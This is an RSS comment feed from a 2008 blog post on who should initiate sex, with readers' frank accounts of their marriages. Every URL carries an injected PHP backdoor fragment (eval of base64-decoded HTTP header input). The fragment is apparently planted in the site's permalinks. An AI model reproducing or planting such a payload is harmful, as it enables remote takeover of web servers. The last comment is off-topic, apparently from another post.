Comments on: TOPIC: Who should make the first move??? http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Observations and Opinions of a Social Isolater Fri, 30 Jul 2010 15:36:48 +0000 http://wordpress.org/?v=2.5 By: Allen http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-99 Allen Thu, 04 Sep 2008 03:41:45 +0000 http://www.bradsrants.com/?p=12#comment-99 Loretta, I agree. Having been marries 20 years also there is nothing like the comfort of knowing your partner. My wife loves it when I sneak under the covers early in the morning and make her "GASP" as I pleasure her. Sure does start the day off right!! Loretta, I agree.

Having been marries 20 years also there is nothing like the comfort of knowing your partner. My wife loves it when I sneak under the covers early in the morning and make her “GASP” as I pleasure her.

Sure does start the day off right!!

]]> By: Loretta http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-91 Loretta Tue, 26 Aug 2008 20:02:22 +0000 http://www.bradsrants.com/?p=12#comment-91 I do not think there is a right or wrong person to make the first move. I have been married 20 years and most of the time neither of us say anything at all its just in a touch. And after all this time its still nightly except one week of the month.Thats when I pleasure him in other ways. So my opinion if you want it go for it . I do not think there is a right or wrong person to make the first move. I have been married 20 years and most of the time neither of us say anything at all its just in a touch. And after all this time its still nightly except one week of the month.Thats when I pleasure him in other ways.
So my opinion if you want it go for it .

]]> By: Stephanie http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-87 Stephanie Mon, 25 Aug 2008 22:30:12 +0000 http://www.bradsrants.com/?p=12#comment-87 Well, I am in almost the same situation. But I would never leave the man that I love just because I don't think I get it enough. When he wants it he initiates it and when I want it I initiate it. I have done the sexy clothes, kids in bed or gone, xrated movies, looking at porn online, impromptu bjs. You name it I have tried. I get it once or twice a week right now. So I am content. Well, I am in almost the same situation. But I would never leave the man that I love just because I don’t think I get it enough. When he wants it he initiates it and when I want it I initiate it. I have done the sexy clothes, kids in bed or gone, xrated movies, looking at porn online, impromptu bjs. You name it I have tried. I get it once or twice a week right now. So I am content.

]]> By: Melynie http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-70 Melynie Thu, 21 Aug 2008 21:06:46 +0000 http://www.bradsrants.com/?p=12#comment-70 Hey thanks for addressing this. This is currently something the old man and I are having some trouble with. I tend to agree with you. Whoever is feeling frisky should just make a move. What's the worst that is going to happen? They might say no but thats why we can masturbate. If you get no a little too often I believe your partner isn't trying to meet your needs and who wants to be stuck to someone so selfish anyway? Hey thanks for addressing this. This is currently something the old man and I are having some trouble with. I tend to agree with you. Whoever is feeling frisky should just make a move. What’s the worst that is going to happen? They might say no but thats why we can masturbate. If you get no a little too often I believe your partner isn’t trying to meet your needs and who wants to be stuck to someone so selfish anyway?

]]> By: runnin with the devil http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-43 runnin with the devil Wed, 18 Jun 2008 03:27:02 +0000 http://www.bradsrants.com/?p=12#comment-43 personally I think that the least tired of the two should make the first move. I mean If I'm drooling in my sleep chances are I'm not gonna get up to stroke you. But if you want it that bad, get in there and wake me up with some sexy goodness. I don't think anyone is gonna say "bring your head back up to the pillow babe I'm sleeping". unless your Ill or your partner is on your bad side that day. I just think equality is need but keeping score sucks for a relationship too so just keep it even. personally I think that the least tired of the two should make the first move.
I mean
If I’m drooling in my sleep chances are I’m not gonna get up to stroke you. But if you want it that bad, get in there and wake me up with some sexy goodness. I don’t think anyone is gonna say “bring your head back up to the pillow babe I’m sleeping”. unless your Ill or your partner is on your bad side that day. I just think equality is need but keeping score sucks for a relationship too so just keep it even.

]]> By: Lola http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-27 Lola Wed, 14 May 2008 00:08:19 +0000 http://www.bradsrants.com/?p=12#comment-27 Sometimes I say well, i am going to bed 'cause I don't want him to do anything he doesn't want to. Sometimes i say hey can we "fool" around tonight or vice versa. It mutual no matter what. If I don't wnat any do you think he's gonna get some? Only if he is a rapist If I want some and he aint in the mood? Well you guys are easier to get in the mood and a can do a little "bump and grind" but if you still say NO I'll let it go. Oh by the way it is easier for woamn to let it go more and guys.... and I must say knowing that I don't say no to hubby anytime unless Iam so unbathed or my back is killing me or I am just to plain "dead" tired but I make up for it the next night. Love you guys Sometimes I say well, i am going to bed ’cause I don’t want him to do anything he doesn’t want to. Sometimes i say hey can we “fool” around tonight or vice versa. It mutual no matter what. If I don’t wnat any do you think he’s gonna get some? Only if he is a rapist If I want some and he aint in the mood? Well you guys are easier to get in the mood and a can do a little “bump and grind” but if you still say NO I’ll let it go. Oh by the way it is easier for woamn to let it go more and guys…. and I must say knowing that I don’t say no to hubby anytime unless Iam so unbathed or my back is killing me or I am just to plain “dead” tired but I make up for it the next night. Love you guys

]]> By: Kristen http://www.bradsrants.com/2008/05/12/topic-who-should-make-the-first-move/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-22 Kristen Tue, 13 May 2008 01:54:47 +0000 http://www.bradsrants.com/?p=12#comment-22 I don't know if it how I was brought up, but I can be watching a tv show or talking to someone and I don't even realize color. I never have. If someone says something, it comes to my attention, but never in a bad way, I just wonder why I didn't notice. I assume it was how my parents brought me up, I'm now 44. . I think we all laugh the same, bleed, cry, love. . Anyone who feels differently, are not worth me letting them take up room in my mind. Regards, Kristen I don’t know if it how I was brought up, but I can be watching a tv show or talking to someone and I don’t even realize color.
I never have. If someone says something, it comes to my attention, but never in a bad way, I just wonder why I didn’t notice.
I assume it was how my parents brought me up, I’m now 44.
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I think we all laugh the same, bleed, cry, love.
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Anyone who feels differently, are not worth me letting them take up room in my mind.
Regards, Kristen

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